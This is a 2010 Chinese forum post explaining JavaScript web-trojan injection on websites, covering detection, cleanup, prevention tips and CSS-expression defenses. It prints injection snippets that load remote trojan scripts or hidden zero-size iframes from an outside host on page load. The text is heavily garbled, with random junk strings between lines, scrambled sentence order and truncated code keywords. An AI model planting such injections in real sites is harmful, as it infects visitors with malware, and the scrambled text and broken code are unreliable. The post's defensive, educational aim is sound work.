搜索
查看: 11834|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

. g, W5 E# G% c7 C+ S1 r

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

& D( [0 s1 i2 ?4 v

IFRAME 和 JS 脚本挂马。

) r# m1 G; w( A7 B' x: ^ V" x

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

( r9 ~7 l% S* Z, l

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

$ |+ m, t3 a: w* i* {

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

0 D6 x+ \6 D4 j& E5 Z

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

7 b! ?6 [$ x' T% a$ s( Z

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

& a- E: v0 n' [3 k

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

& q6 R% \" I" E

。一千多位会员的 ID

- ?: k; i/ P% o8 u

2: 如何检测网页是否被挂马。

! q( l# A" A+ W- [9 X% T7 Q

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

% s7 h7 F5 W% u( y( V/ e) G L6 b

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

2 d. `, _! a8 G

因素。
2 googl 检测。>

0 t. Y/ Y$ Y7 [

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

U* t5 v% w3 E$ Q" n& H

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

/ j- c3 d& `7 D( X

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

2 [( h/ |6 l, M5 G

: Z# o2 ^) ~8 n5 }. s

3: 如何清除网页木马。

* u2 g% y; S( G9 j# o

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

% s8 r4 T m& t3 a: |7 v3 B

入源文件把相关的网页挂马种类的可疑代码删除。

$ X m, ^" _" Z Z( Y' Q

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

2 t- r4 I. e! t7 W9 \( u' C7 I% y

悉。>

1 b: N6 O" ~, v- D1 w2 @

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

! a7 A) z2 V" x C D# E6 I9 [& N2 t1 h" M

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

* C+ x/ U$ k5 Y9 T5 [& d2 b2 G. Q5 E

2 保证你所使用的顺序及时的更新。

3 W# T& K( Y; ^" _

3 不要在前台网页上加注后台管理程序登陆页面的链接。

( C/ l( g4 X$ X4 T B( ^- B0 X" m

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

7 j. R5 o' i' O2 s5 B) ~

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

* l8 X# [1 d% h& i+ g3 j% {

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

- L0 M* b, `) Z$ |0 X: h

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

- V4 l& k: h4 @5 h+ t, `

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

0 X4 D; V& }7 j& g+ F4 h2 l

$ e5 r; a; v |3 `2 w# U

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

4 b; ]9 J& \" ^; n5 `2 T% J

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

) b+ U7 v9 _9 b. ~

JS 挂马溯源

0 F+ K% s* f( Z. K; o3 W

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

! m/ C1 i9 F2 K6 }

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

* c* G1 \" w8 Y

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

9 n3 y/ S9 m: m3 e0 l! }! ~) [: }

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

7 W+ G0 L: }$ i0 e& a

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

3 R- e6 @- _: n0 |4 [" Z

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

- f. w l9 _: E3 {) L

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

+ p: u" ?6 y. P r1 Q- z

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

1 b* d5 f- o/ X, t

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

9 P/ R1 t; F5 N! m1 L8 ^/ u" D8 U

脚本在工作中会有很大的协助。

! e: h- v& g" T# s5 r8 ~

挂马原理一点通

- g: C! `3 [: n4 j

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

- z4 I) } Y: l) B

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

* L" G, j% w7 I0 |1 a4 P! W

无从区分木马在何处。

6 Z8 }6 r& R+ M- T

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

% V7 T4 o9 I. I; n5 k: j6 Q5 ^

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

0 P7 p& n0 ~* Q3 E) q0 F

容易蒙混过关,导致木马久杀不绝。

, A, I. N8 v) A* g' W

JS 挂马攻防实录

' u7 _7 K# M7 s7 o9 j+ [ d

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

+ v- K! D6 W/ n9 B+ ^! _" Y

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

, U7 L$ _0 |8 y

这种方法使用的关键代码如下:

$ Z! O% o4 _. f+ S

"",  window.open "http://www.v404.cn/ 木马

* d) n% k4 j1 p+ n

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

; s1 [2 o. ^* v5 `

! ?2 N$ |$ R/ I, F! i

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

% A. i8 Q( g* l! `

但是设置为 0 后,可能会出现恶意代码不运行的情况。

4 J* z: s! j5 I7 n4 C) O

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

; \% E" i! E, l8 Y& j1 ]: ^" R

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

. v% s4 v( h7 S9 Q% r

7 e i1 d; @: `* @: b! r3 N+ j6 @

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

' q% h5 H( U: J# ?( }2 R

# S2 e# ?: I/ m" r

或者

$ i- H2 `/ W5 [! |

document.writ "<div style='display:none'>"

4 m9 S! M$ ?% j" c, k& X

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

y+ w5 ~* T1 {( L

document.writ "</div>"
 

' a9 }# e1 D- t

0 G9 W4 M/ b; W+ p1 I) _

就成功地将木马挂到对方的网页中了

. s% @/ F4 }9 D& f

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

) b3 E! A! r g2 L9 Z

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

& J. F! R( q' [: l, _

或者:

8 ]5 G( U1 W$ h% |$ ]$ X0 [

<ifram src="vbscript:[ 挂马脚本 ]">

( ?, U4 L% [7 x7 G" n! t

2 ^5 D' C1 [' f1 e4 Y- H


等等 …

" [) }# r6 n" T3 |- f Y

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

/ N; _' V/ c) \; F

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

0 g ^& P @& }4 q d' u

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

6 K3 P2 b& A3 y1 A/ M

;}

; V+ V* _+ {( c7 K

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

! T1 I+ D9 Y8 r! A( |/ r

% k0 t# K# `( Q2 f' z+ R

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

( y9 t( s g. h5 R, ?" l

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

$ K2 z# Z, c6 C% r/ y) a4 U) u: @7 k

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

, }7 y+ x8 O: a1 \3 F

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

8 H) r, G( s6 `. i: z" G: s" _- h. K

<title> 让 JS 挂马中止的 CSS 代码 </title>

. E+ z! h9 Q, h" v$ h% C1 g/ K- j

<styl type="text/css" id="shudoo">

: I' V* @' o4 L J: W! S( L( n; ?1 s

/*<![CDATA[*/

% x4 j# e/ |% c/ N

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

6 x" ?9 I! D. N/ _# q' W" H

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

8 {. a' p' |. B. ?9 h: G( a

/*]]>*/

" ^/ f$ P# N/ M4 ^: [

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表